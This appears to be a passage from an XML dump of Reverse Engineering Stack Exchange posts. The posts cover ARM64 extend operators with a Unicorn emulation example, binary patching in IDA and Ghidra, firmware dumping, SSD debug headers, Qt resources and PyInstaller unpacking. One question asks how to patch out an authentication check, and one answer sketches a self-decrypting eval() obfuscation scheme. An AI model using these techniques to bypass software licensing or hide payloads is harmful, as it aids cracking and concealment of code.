on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this of all the calls you would get all of the code extracted, but going over this manually can be mundane and error prone so it would be nice to have some kind of automated way of performing this activities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing that (not even for the whole file) would allow to more easily understand the code but from parts of it, it looks like it might be injecting some ads on the page (it might not be the only purpose of it) - as one can see in the strings &quot;Ad&quot;, &quot;FuckAdBlock&quot; and some &lt;code&gt;iframes&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-01-13T07:56:28.263" LastActivityDate="2020-01-13T07:56:28.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22959" PostTypeId="1" CreationDate="2020-01-10T08:41:46.633" Score="0" ViewCount="760" Body="&lt;p&gt;In Ida I can patch binary that run on x86 , but not binary that run on Arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I simply patch binary , change assembly(not only hex) and save to new binary file&lt;/p&gt;&#xA;" OwnerUserId="30727" LastActivityDate="2020-01-10T22:18:23.573" Title="Patch Arm binary with Ida" Tags="|ida|arm|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22962" PostTypeId="1" AcceptedAnswerId="22964" CreationDate="2020-01-10T16:39:42.033" Score="3" ViewCount="2664" Body="&lt;p&gt;Sorry, if this question seems stupid, but I am new in arm64 and next 2 assembly lines seriously damaged my brain:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR             W0, [X30,W0,UXTW#2]&#xA;ADD             X30, X30, W0,UXTW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have readed &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0802a/LDR_imm_fpsimd.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;, used google with different keywords, but it seems like everything connected to assembly is written by machines to machines..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understood that it patches return address of subroutine, but what &lt;code&gt;UTXW#2&lt;/code&gt; is and how does it affect on &lt;code&gt;LDR&lt;/code&gt; is hard to undertand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody explain me &quot;magic&quot; which happens in this 2 lines?&lt;/p&gt;&#xA;" OwnerUserId="26478" LastActivityDate="2020-01-10T21:16:08.587" Title="LDR specifier combination UXTW" Tags="|assembly|arm|arm64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22963" PostTypeId="2" ParentId="14636" CreationDate="2020-01-10T17:56:34.780" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://openwrt.org/docs/techref/bootloader/cfe/changing.defaults#extracting_default_values&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;, you can try this command :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd if=/dev/mtdblock/0 bs=1 skip=4116 count=2048 | strings &amp;gt; /tmp/cfe.txt&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30731" LastActivityDate="2020-01-10T17:56:34.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22964" PostTypeId="2" ParentId="22962" CreationDate="2020-01-10T18:53:35.923" Score="3" Body="&lt;p&gt;Not Sure i selected uxtw in this post Right Clicked and Search Google For UXTW&lt;br&gt;&#xA;the First Hit is &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0802a/SUB_addsub_ext.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Arm Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUB  Wd|WSP, Wn|WSP, Wm{, extend {#amount}} ; 32-bit general registers&#xA;&#xA;SUB  Xd|SP, Xn|SP, Rm{, extend {#amount}}  ; 64-bit general registers&#xA;&#xA;extend&#xA;&#xA;    Is the extension to be applied to the second source operand:  &#xA;&#xA;    32-bit general registers &#xA;&#xA;        Can be one of UXTB, UXTH, LSL|UXTW, UXTX, SXTB, SXTH, SXTW or SXTX.&#xA;&#xA;        If Rd or Rn is WSP then LSL is preferred rather than UXTW,  &#xA;and can be omitted when amount is 0. &#xA;In all other cases extend is required and must be UXTW rather than LSL.&#xA;&#xA;    64-bit general registers&#xA;&#xA;        Can be one of UXTB, UXTH, UXTW, LSL|UXTX, SXTB, SXTH, SXTW or SXTX.&#xA;&#xA;        If Rd or Rn is SP then LSL is preferred rather than UXTX,  &#xA;and can be omitted when amount is 0.    &#xA;In all other cases extend is required and must be UXTX rather than LSL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sxtw is signed extend word 8000-&gt;ffff8000&lt;br&gt;&#xA;uxtw isunsigned extend word 8000-&gt;00008000   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://thinkingeek.com/2016/10/23/exploring-aarch64-assembler-chapter-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;quoting from another relevent hit&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extending operators&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Extending operators main purpose is to widen a narrower value found in&#xA;  a register to match the number of bits for the operation. An extending&#xA;  operator is of the form kxtw, where k is the kind of integer we want&#xA;  to widen and w is the width of the narrow value. For the former, the&#xA;  kind of integer can be U (unsigned) or S (signed, i.e. two’s&#xA;  complement). For the latter the width can be B, H or W which means&#xA;  respectively byte (least 8 significant bits of the register),&#xA;  half-word (least 16 significant bits of the register) or word (least&#xA;  significant 32 bits of the register).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This means that the extending operators are uxtb, sxtb, uxth, sxth,&#xA;  uxtw, sxtw.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;These operators exist because sometimes we have to lift the range of&#xA;  the source value from a smaller bit width to a bigger one. In later&#xA;  chapters we will see many cases where this happens. For instance, it&#xA;  may happen that we need to add a 32-bit register to a 64-bit register.&#xA;  If both registers represent two’s complement integers then&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;add x0, x1, w2, sxtw  // x0 ← x1 + ExtendSigned32To64(w2)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There is some kind of context that has to be taken into account when&#xA;  using these extension operators. For instance, the two instructions&#xA;  below have slight different meanings:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;add x0, x1, w2, sxtb // x0 ← x1 + ExtendSigned8To64(w2) add w0, w1,&#xA;  w2, sxtb // w0 ← w1 + ExtendSigned8To32(w2)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In both cases the least significant 8 bits of w2 are extended but in&#xA;  the first case they are extended to 64 bit and in the second case to&#xA;  32-bit. Extension and shift&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is possible to extend a value and then shift it left 1, 2, 3 or 4&#xA;  bits by specifying an amount after the extension operator. For&#xA;  instance&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;mov x0, #0                // x0 ← 0 mov x1, #0x1234           // x0 ←&#xA;  0x1234 add x2, x0, x1, sxtw #1   // x2 ← x0 + (ExtendSigned16To64(x1)&#xA;  &amp;lt;&amp;lt; 1)&#xA;                            // this sets x2 to 0x2468 add x2, x0, x1, sxtw #2   // x2 ← x0 + (ExtendSigned16To64(x1) &amp;lt;&amp;lt; 2)&#xA;                            // this sets x2 to 0x48d0 add x2, x0, x1, sxtw #3   // x2 ← x0 + (ExtendSigned16To64(x1) &amp;lt;&amp;lt; 3)&#xA;                            // this sets x2 to 0x91a0 add x2, x0, x1, sxtw #4   // x2 ← x0 + (ExtendSigned16To64(x1) &amp;lt;&amp;lt; 4)&#xA;                            // this sets x2 to 0x12340&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This may seem a bit odd and arbitrary at this point but in later&#xA;  chapters we will see that this is actually useful in many cases.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is all for today.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;here is a sample unicorn python emulation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#code modified from unicorn sample&#xA;from __future__ import print_function&#xA;from unicorn import *&#xA;from unicorn.arm64_const import *&#xA;print (&#xA;&quot;Register X30 on start = 0x10\n&quot;&#xA;&quot;Register W0  on start = 0x02\n&quot;&#xA;&quot;Emulate 5 ARM64 instructions that follows\n&quot;&#xA;&quot;ADD X30, X30, W0,UXTW#0\n&quot;&#xA;&quot;ADD X30, X30, W0,UXTW#1\n&quot;&#xA;&quot;ADD X30, X30, W0,UXTW#2\n&quot;&#xA;&quot;ADD X30, X30, W0,UXTW#3\n&quot;&#xA;&quot;ADD X30, X30, W0,UXTW#4\n&quot;&#xA;&quot;Register X30 on end = 0x10+0x2+0x4+0x8+0x10+0x20 == 0x4e&quot;&#xA;)&#xA;CODE =  b&quot;\xDE\x43\x20\x8B\xDE\x47\x20\x8B\xDE\x4b\x20\x8B\xDE\x4f\x20\x8B\xDE\x53\x20\x8B&quot;&#xA;ADDRESS    = 0x10000&#xA;def test_arm64():&#xA;    try:&#xA;        mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)&#xA;        mu.mem_map(ADDRESS, 2 * 1024 * 1024)&#xA;        mu.mem_write(ADDRESS, CODE)&#xA;        mu.reg_write(UC_ARM64_REG_X30, 0x10)&#xA;        mu.reg_write(UC_ARM64_REG_W0, 2)&#xA;        for i in range (ADDRESS,ADDRESS + len(CODE),4):&#xA;            mu.emu_start(i, i + 4)&#xA;            x30 = mu.reg_read(UC_ARM64_REG_X30)&#xA;            w0  =  mu.reg_read(UC_ARM64_REG_W0) &#xA;            print(&quot;&amp;gt;&amp;gt;&amp;gt; x30  = 0x%x w0 = 0x%x&quot; %(x30,w0))&#xA;    except UcError as e:&#xA;        print(&quot;ERROR: %s&quot; % e)&#xA;&#xA;if __name__ == '__main__':&#xA;    test_arm64()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;emulation results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python uniaarch64.py&#xA;Register X30 on start = 0x10&#xA;Register W0  on start = 0x02&#xA;Emulate 5 ARM64 instructions that follows&#xA;ADD X30, X30, W0,UXTW#0&#xA;ADD X30, X30, W0,UXTW#1&#xA;ADD X30, X30, W0,UXTW#2&#xA;ADD X30, X30, W0,UXTW#3&#xA;ADD X30, X30, W0,UXTW#4&#xA;Register X30 on end = 0x10+0x2+0x4+0x8+0x10+0x20 == 0x4e&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x12 w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x16 w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x1e w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x2e w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x4e w0 = 0x2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when you start with -0x2 in W0 see the extended results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x30  = 0x10000000e w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x30000000a w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x700000002 w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0xefffffff2 w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x1effffffd2 w0 = 0xfffffffe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SXTW and -2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x30  = 0xe w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0xa w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x2 w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0xfffffffffffffff2 w0 = 0xfffffffe&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0xfffffffffffffff0 w0 = 0xfffffffe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SXTW and 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x30  = 0x12 w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x16 w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x1e w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x2e w0 = 0x2&#xA;&amp;gt;&amp;gt;&amp;gt; x30  = 0x30 w0 = 0x2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-01-10T21:16:08.587" LastActivityDate="2020-01-10T21:16:08.587" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22965" PostTypeId="2" ParentId="22959" CreationDate="2020-01-10T22:18:23.573" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.keystone-engine.org/keypatch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keypatch&lt;/a&gt; is a plugin for IDA that uses keystone to assemble instructions for patching. It supports ARM. Once you've patched the IDB you can go to Edit -&gt; Patch Program -&gt; Apply Patches to Input File&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2020-01-10T22:18:23.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22967" PostTypeId="1" CreationDate="2020-01-12T01:49:10.197" Score="0" ViewCount="265" Body="&lt;p&gt;Inside the housing of an OCZ Agility 4 SSD I found several additional connectors on the opposite site of the SATA connectors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are they good for and how to connect them properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d9GiK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d9GiK.jpg&quot; alt=&quot;PCB top side&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/63NxF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/63NxF.jpg&quot; alt=&quot;PCB bottom side&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoomed: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/JRQuv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JRQuv.jpg&quot; alt=&quot;J5&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/aFSxw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aFSxw.jpg&quot; alt=&quot;JT&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/gmShI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmShI.jpg&quot; alt=&quot;ROM&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28285" LastActivityDate="2020-01-13T09:06:33.407" Title="Manufacturer interface on OCZ Agility 4 SSD" Tags="|memory|hardware|protocol|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22968" PostTypeId="1" CreationDate="2020-01-12T03:05:41.077" Score="-1" ViewCount="321" Body="&lt;p&gt;Basically I'm trying to edit memory (replace branch with a nop so the executable can't branch to auth function). I've done successful reverse engineering on gaming consoles, but I don't really know where to start on PC. WinDbg? VS2010 debugger? I would really appreciate any tips or pointers, thanks :)&lt;/p&gt;&#xA;" OwnerUserId="27451" LastActivityDate="2020-01-12T11:11:04.693" Title="How do I view the call stack of an executable?" Tags="|memory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22971" PostTypeId="2" ParentId="22968" CreationDate="2020-01-12T10:27:20.000" Score="2" Body="&lt;p&gt;I think that what you are looking for is a disassembler for &lt;code&gt;PE&lt;/code&gt; format files (Windows Portable Executable format). The call stack itself has nothing to do with it - you need to modify the flow of a program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Windbg&lt;/code&gt; and &lt;code&gt;X64dbg&lt;/code&gt; are great debugging tools for PC, as well as &lt;code&gt;IDA&lt;/code&gt; and &lt;code&gt;Ghidra&lt;/code&gt; for static analysis and patching.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-01-12T11:11:04.693" LastActivityDate="2020-01-12T11:11:04.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22972" PostTypeId="1" AcceptedAnswerId="22976" CreationDate="2020-01-12T13:13:50.547" Score="1" ViewCount="408" Body="&lt;p&gt;I have a software with an embedded python interpreter. The software can open upon startup a given &lt;code&gt;.py&lt;/code&gt; script and execute it. Let's assume that in my python environment I can't open other files, and I can't use external tools like &lt;code&gt;Cython&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to obfuscate the script. My only demand is that the &lt;code&gt;payload&lt;/code&gt; part of the file (my custom business logic) could not be opened in a text editor and plain-text read. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could imagine the flow of the script will be de-obfuscation/decryption of a payload, that resides within the &lt;code&gt;.py&lt;/code&gt; file as the first step and then executing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can store within the script any encryption key, and I don't care that the decryption part will be visible and that it can be easily reproduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I make that happen?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-13T17:02:05.283" Title="Python self decryption script, as mean of obfuscation" Tags="|encryption|python|obfuscation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22973" PostTypeId="1" CreationDate="2020-01-12T14:29:19.953" Score="2" ViewCount="520" Body="&lt;p&gt;I'm currently working on a crackme exercise for a GUI application using QT as practice. The application uses a server login authentication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see from the logs that the application output that there should be some QML files, and some of the messages seem to be coming from QML objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no prior experience working with QT before. There is qmldir provided which lists some QML files under qrc://. After googling I know know that the QRC should be a resource file that will contain the QML files, however I have no idea where this is. How should I go about finding this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I seem to be finding snippets of java code in the dll files itself which is very confusing. Is this somehow related to how QT works? Do my questions even make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI I am using Ghidra and x96dbg to reverse the program&#xA;Any pointers are greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="30749" LastActivityDate="2020-10-09T11:05:35.723" Title="Where can I find the QRC and QML files used for a QT gui application when reverse engineering?" Tags="|crackme|qt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22974" PostTypeId="1" AcceptedAnswerId="22975" CreationDate="2020-01-12T17:03:42.860" Score="4" ViewCount="3794" Body="&lt;p&gt;I'm trying to get the disassembly of a very small binary file available &lt;a href=&quot;https://1drv.ms/u/s!AsYP2RqBWCWrokQmsi4oN2igDK2m?e=fnrfXV&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. This file is cropped from part of another executable binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open it with &lt;code&gt;r2&lt;/code&gt; it automatically recognizes the architecture and can provide me with the diassembly: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZMnUy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMnUy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Ghidra however, it cannot find the architecture automatically and I have to manually specify the language: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KTrmH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KTrmH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even then, I'm getting the following as the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uq58V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uq58V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very surprised by how poor NSA's Ghidra is performing in such scenario compared to the open source radare2. Can someone describe what's going on and how can I fix it? &lt;/p&gt;&#xA;" OwnerUserId="15330" LastActivityDate="2020-01-13T09:02:11.340" Title="Why Ghidra doesn't load the disassembly correctly while radare2 does?" Tags="|disassembly|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22975" PostTypeId="2" ParentId="22974" CreationDate="2020-01-12T17:42:25.713" Score="6" Body="&lt;p&gt;When you have just raw bytes without proper headers tools might not know how to process as the code might not start from offset &lt;code&gt;0&lt;/code&gt;. They could try to analyze the bytes to detect if there's code, data or something else but you might also get some false-positives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you instruct &lt;code&gt;r2&lt;/code&gt; to display those bytes as code (&lt;code&gt;pd - print disassembly&lt;/code&gt;) and it does not recognize any architecture as it has x86 by default. You would get the same when you open no file (&lt;code&gt;r2 -&lt;/code&gt; and then &lt;code&gt;e asm.arch&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ghidra you selected the architecture manually and to &quot;force&quot; the tool to do the same as your &lt;code&gt;pd&lt;/code&gt; in radare2 just press &lt;kbd&gt;D&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-01-13T09:02:11.340" LastActivityDate="2020-01-13T09:02:11.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22976" PostTypeId="2" ParentId="22972" CreationDate="2020-01-12T20:34:18.133" Score="1" Body="&lt;p&gt;I did something similar on the past, here is the idea you need to carry:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You create the python script that you want to execute and obfuscate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print('Some string')&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another script opens the previous script, encrypts the content and &lt;code&gt;base64&lt;/code&gt; the encryption, and finally put in a variable like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text = &quot;cHJpbnQoJ1NvbWUgc3RyaW5nJyk=&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On another python file, you stick the text variable and a routine for decryption and decode the base64.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the method &lt;code&gt;eval()&lt;/code&gt; for execute the previous decrypted and decoded string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is not perfect but at least you have something to play with and explore. &lt;/p&gt;&#xA;" OwnerUserId="25705" LastEditorUserId="53" LastEditDate="2020-01-13T17:02:05.283" LastActivityDate="2020-01-13T17:02:05.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22977" PostTypeId="2" ParentId="22974" CreationDate="2020-01-12T21:11:40.630" Score="4" Body="&lt;p&gt;Paweł Łukasik is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling the code fragment using Ghidra can be done in 3 steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Selecting the architecture (which you have already done)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Highlighting the bytes to disassemble&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gZ6l9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZ6l9.png&quot; alt=&quot;Highlight and press D&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Press &quot;D&quot; as Paweł stated or right click and select &quot;disassemble&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RLiVB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLiVB.png&quot; alt=&quot;disassembled fragment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-01-12T21:18:41.773" LastActivityDate="2020-01-12T21:18:41.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22979" PostTypeId="2" ParentId="22973" CreationDate="2020-01-13T09:01:04.243" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://doc.qt.io/qt-5/resources.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qt resources&lt;/a&gt; are stored in a pseudo-filesystem in the program itself as binary blobs of data. I'm not aware of any ready-made project to extract them from a compiled binary but you can exploit the fact that they are usually stored using zlib compression and use something like &lt;a href=&quot;https://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;offzip&lt;/a&gt; to extract all zlib-compressed streams in the binary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-13T09:01:04.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22980" PostTypeId="2" ParentId="22967" CreationDate="2020-01-13T09:06:33.407" Score="1" Body="&lt;p&gt;J5 looks like a UART connector and the &lt;code&gt;JT_&lt;/code&gt; pins are likely JTAG. UART should give you console access to manufacturing/diagnostic commands, and JTAG should allow you to the debug the code (firmware) running on the controller CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for J3, at a guess, ROM/FW allows you to switch from the firmware stored in the flash to the built-in CPU boot ROM (e.g. in case flash is corrupted and firmware can't boot properly).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-13T09:06:33.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22981" PostTypeId="2" ParentId="21456" CreationDate="2020-01-13T11:23:53.013" Score="1" Body="&lt;p&gt;You can extract some file from .exe using pyi-archive_viewer, modify them and put back. But be attention, all files in .exe are compressed using DEFLATE (zlib.compress() - you can watch this in source code of PyInstaller). So, when putting back you need compress file to the exact size, that was when you extracted it.&lt;/p&gt;&#xA;" OwnerUserId="23687" LastActivityDate="2020-01-13T11:23:53.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22982" PostTypeId="2" ParentId="21548" CreationDate="2020-01-13T11:32:02.057" Score="1" Body="&lt;p&gt;You cannot simply make pyinstaller gui.py. You should resolve all dependencies: or installing packages using pip, or pulling them from extracted PYZ archive folder. In the PYZ folder you can find all files, but you need to rename it and rearrange to modules.&lt;/p&gt;&#xA;" OwnerUserId="23687" LastActivityDate="2020-01-13T11:32:02.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22983" PostTypeId="1" AcceptedAnswerId="22984" CreationDate="2020-01-13T14:43:55.647" Score="5" ViewCount="2833" Body="&lt;p&gt;What does _0_4_ mean in ghidra?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HA5Ku.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HA5Ku.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30765" LastActivityDate="2020-01-13T15:00:45.097" Title="Ghidra what's the meaning of _0_4_" Tags="|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
